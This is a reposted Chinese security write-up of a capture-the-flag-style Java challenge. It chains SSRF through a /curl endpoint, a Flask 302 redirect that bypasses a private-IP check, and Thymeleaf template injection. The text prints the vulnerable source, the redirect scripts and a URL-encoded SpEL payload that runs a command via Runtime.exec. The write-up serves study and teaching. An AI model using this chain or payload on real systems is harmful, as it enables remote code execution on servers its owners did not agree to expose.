从302 重定向突破本地限制到thymeleaf模板注入

admin 2025年5月29日10:01:27评论42 views字数 8078阅读26分55秒阅读模式

免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:先知社区(1341025112991831)

文章来源:https://xz.aliyun.com/news/17297

前言

最近拿到了一个源码,发现这个 java 的题目挺有意思的,思路大概就是ssrf绕过本地ip限制,然后跳转到admin路由去,而漏洞点就是在admin路由,利用302跳转打一波模板渲染,我们在模板插入恶意的payload导致rce

源码分析

首先目录结构如下

从302 重定向突破本地限制到thymeleaf模板注入

简单分析一下路由

admin 路由

package com.example.controller;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.http.HttpStatus;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.thymeleaf.context.Context;import org.thymeleaf.spring5.SpringTemplateEngine;@Controller/* loaded from: AdminController.class */public class AdminController {    @GetMapping({"/getsites"})    public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {        String ipAddress = request.getRemoteAddr();        if (!ipAddress.equals("127.0.0.1")) {            response.setStatus(HttpStatus.FORBIDDEN.value());            return "forbidden";        }        Context context = new Context();        String dispaly = new SpringTemplateEngine().process(hostname, context);        return dispaly;    }}

这个路由有一个最关键的方法就是

new SpringTemplateEngine().process(hostname, context);

渲染我们的内容

可以作为 sink 点,但是对我们的 ip 是有限制的

CurlController

package com.example.controller;import com.example.utils.Utils;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.File;import java.io.FileWriter;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.InetAddress;import java.net.URL;import java.util.concurrent.TimeUnit;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController/* loaded from: CurlController.class */public class CurlController {    private static final String RESOURCES_DIRECTORY = "resources";    private static final String SAVE_DIRECTORY = "sites";    @RequestMapping({"/curl"})    public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {        if (!url.startsWith("http:") && !url.startsWith("https:")) {            System.out.println(url.startsWith("http"));            return "No protocol: " + url;        }        URL urlObject = new URL(url);        String result = "";        String hostname = urlObject.getHost();        if (hostname.indexOf("../") != -1) {            return "Illegal hostname";        }        InetAddress inetAddress = InetAddress.getByName(hostname);        if (Utils.isPrivateIp(inetAddress)) {            return "Illegal ip address";        }        try {            String savePath = System.getProperty("user.dir") + File.separator + RESOURCES_DIRECTORY + File.separator + SAVE_DIRECTORY;            File saveDir = new File(savePath);            if (!saveDir.exists()) {                saveDir.mkdirs();            }            TimeUnit.SECONDS.sleep(4L);            HttpURLConnection connection = (HttpURLConnection) urlObject.openConnection();            if (connection instanceof HttpURLConnection) {                connection.connect();                int statusCode = connection.getResponseCode();                if (statusCode == 200) {                    BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));                    BufferedWriter writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html"));                    while (true) {                        String line = reader.readLine();                        if (line == null) {                            break;                        }                        result = result + line + "n";                    }                    writer.write(result);                    reader.close();                    writer.close();                }            }            return result;        } catch (Exception e) {            return e.toString();        }    }}

这个路由的作用就是提供了一个 /curl 端点,用于从用户提供的 URL 获取网页内容,并将其保存到服务器的本地目录。

如果结合起来我们的 admin 路由,思路就有点明确了

先大概猜测是通过访问 vps 的文件,然后实现一个 302 跳转到 admin 路由传入我们的参数

index 路由

package com.example.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.thymeleaf.context.Context;import org.thymeleaf.spring5.SpringTemplateEngine;@Controller/* loaded from: IndexController.class */public class IndexController {    @GetMapping({"/"})    public String index() {        Context context = new Context();        SpringTemplateEngine engine = new SpringTemplateEngine();        String index = engine.process("index", context);        return index;    }}

这个没有利用点

然后还有一个解析模板的配置

package com.example.thymeleaf;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;import org.thymeleaf.templatemode.TemplateMode;@Configuration/* loaded from: ThymeleafConfigurator.class */public class ThymeleafConfigurator {    @Bean    public SpringResourceTemplateResolver templateResolver() {        SpringResourceTemplateResolver templateResolver = new SpringResourceTemplateResolver();        templateResolver.setPrefix("file:resources/sites/");        templateResolver.setSuffix(".html");        templateResolver.setTemplateMode(TemplateMode.HTML);        templateResolver.setCharacterEncoding("UTF-8");        templateResolver.setCacheable(false);        return templateResolver;    }}

漏洞利用

302 跳转绕过限制

从302 重定向突破本地限制到thymeleaf模板注入
从302 重定向突破本地限制到thymeleaf模板注入

可以看到是可以 ssrf 的,当然

从302 重定向突破本地限制到thymeleaf模板注入
从302 重定向突破本地限制到thymeleaf模板注入

我们输入本地 ip 尝试 ssrf 的时候会报错

Illegal ip address

从302 重定向突破本地限制到thymeleaf模板注入

主要是因为 isPrivateIp 的检测

public static boolean isPrivateIp(InetAddress ip) {    int x;    String ipAddress = ip.getHostAddress();    System.out.println(ipAddress);    if (ip.isSiteLocalAddress() || ip.isLoopbackAddress() || ip.isAnyLocalAddress()) {        return true;    }    return ipAddress.startsWith("100") && (x = Integer.parseInt(ipAddress.split("\.")[1])) >= 64 && x <= 127;}

会坚持我们的 ip 是否为本地的 ip

如果是就会返回 ture,导致 ssrf 失败

从302 重定向突破本地限制到thymeleaf模板注入

从302 重定向突破本地限制到thymeleaf模板注入

从302 重定向突破本地限制到thymeleaf模板注入 1341025112991831 WEB安全 96浏览 · 2025-03-18 15:27

从302 重定向突破本地限制到thymeleaf模板注入前言最近拿到了一个源码,发现这个 java 的题目挺有意思的,思路大概就是ssrf绕过本地ip限制,然后跳转到admin路由去,而漏洞点就是在admin路由,利用302跳转打一波模板渲染,我们在模板插入恶意的payload导致rce源码分析首先目录结构如下

从302 重定向突破本地限制到thymeleaf模板注入

简单分析一下路由admin 路由这个路由有一个最关键的方法就是渲染我们的内容可以作为 sink 点,但是对我们的 ip 是有限制的CurlController这个路由的作用就是提供了一个 /curl 端点,用于从用户提供的 URL 获取网页内容,并将其保存到服务器的本地目录。如果结合起来我们的 admin 路由,思路就有点明确了先大概猜测是通过访问 vps 的文件,然后实现一个 302 跳转到 admin 路由传入我们的参数index 路由这个没有利用点然后还有一个解析模板的配置漏洞利用302 跳转绕过限制

从302 重定向突破本地限制到thymeleaf模板注入

可以看到是可以 ssrf 的,当然

从302 重定向突破本地限制到thymeleaf模板注入

我们输入本地 ip 尝试 ssrf 的时候会报错Illegal ip address

从302 重定向突破本地限制到thymeleaf模板注入

主要是因为 isPrivateIp 的检测

publicstaticboolean isPrivateIp(InetAddress ip){int x;String ipAddress = ip.getHostAddress();System.out.println(ipAddress);if(ip.isSiteLocalAddress()|| ip.isLoopbackAddress()|| ip.isAnyLocalAddress()){returntrue;}return ipAddress.startsWith("100")&&(x = Integer.parseInt(ipAddress.split("\.")[1]))>=64&& x <=127;}

会坚持我们的 ip 是否为本地的 ip如果是就会返回 ture,导致 ssrf 失败

从302 重定向突破本地限制到thymeleaf模板注入

其实就是一个 ssrf 绕过本地 ip 的小技巧,这里我们尝试 302 跳转首先我们先忽略 payload 的构造现在的目标就是成功访问到 admin 的路由flask 跳转服务我们交给 GPT

从302 重定向突破本地限制到thymeleaf模板注入
from flask import Flask, redirectapp = Flask(__name__)@app.route('/redirect')def redirect_to_target():    return redirect("http://127.0.0.1:8888/getsites?hostname=any", code=302)if __name__ == '__main__':    app.run(host='0.0.0.0', port=5000, debug=True)

当然这里有个问题就是本地部署的环境本来就是 127.0.0.1,但是部署到服务上的时候是不是的,所以导致利用有些许差异

因为本地的 ip 就是 127,导致 admin 路由的 ip 限制没有作用,但是服务器上是会限制的

我们把这个代码放到服务器上然后启动

从302 重定向突破本地限制到thymeleaf模板注入

然后访问之后跳转

服务端也成功接收到了请求,绕过了限制

从302 重定向突破本地限制到thymeleaf模板注入

构造 exp 实现 rce

现在我们已经成功访问到了我们的路由

现在就是如何构造 exp 的问题了

从302 重定向突破本地限制到thymeleaf模板注入

通过代码或者依赖,我们都能猜测到应该是需要渲染模板导致 rce 了

而这个模板渲染的时候是会解析我们的 spel 表达式的

我们尝试构造一个弹出计算器的 payload

修改我们的 flask 服务

from flask import Flask, redirect, url_for, render_template, requestapp = Flask(__name__)@app.route('/', methods=['POST''GET'])def login():    exp = "%3c%61%20%74%68%3a%68%72%65%66%3d%22%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%6c%63%27%29%7d%22%20%74%68%3a%74%69%74%6c%65%3d%27%70%65%70%69%74%6f%27%3e"    return redirect(f"http://127.0.0.1:8888/getsites?hostname={exp}");if __name__ == '__main__':    app.run(host="0.0.0.0", port=5000)

需要给 payload 编码

解码后

<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}" th:title='pepito'>

就是一个插入了 spel 表达式的模板

从302 重定向突破本地限制到thymeleaf模板注入

在检验的时候,因为不是本地 ip 绕过了

从302 重定向突破本地限制到thymeleaf模板注入

然后成功来到 sink 点

从302 重定向突破本地限制到thymeleaf模板注入

传入了我们的恶意模板

然后导致了命令执行

从302 重定向突破本地限制到thymeleaf模板注入

原文始发于微信公众号(七芒星实验室):从302 重定向突破本地限制到thymeleaf模板注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日10:01:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从302 重定向突破本地限制到thymeleaf模板注入https://cn-sec.com/archives/4109888.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息